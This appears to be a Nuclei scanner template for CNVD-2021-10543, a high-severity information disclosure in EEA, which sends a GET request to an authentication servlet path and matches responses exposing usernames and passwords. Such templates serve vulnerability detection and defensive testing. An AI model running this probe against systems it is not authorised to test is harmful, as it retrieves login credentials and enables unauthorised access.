id: CNVD-2021-10543

info:
  name: EEA - Information Disclosure
  author: pikpikcu
  severity: high
  description: EEA is susceptible to information disclosure including the username and password.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-200
  metadata:
    max-request: 1
  tags: cnvd,cnvd2021,config,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/authenticationserverservlet"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "<username>(.*?)</username>"
          - "<password>(.*?)</password>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ecc765b8bba511bf3767eae8e50a444efb9c1a0e97670478282296ddb39b59b4022021e4eda9da996981443cdb0e1b6ed5d469c9ce61f93f743153294c57c8a3c3cb:922c64590222798bb761d5b6d8e72950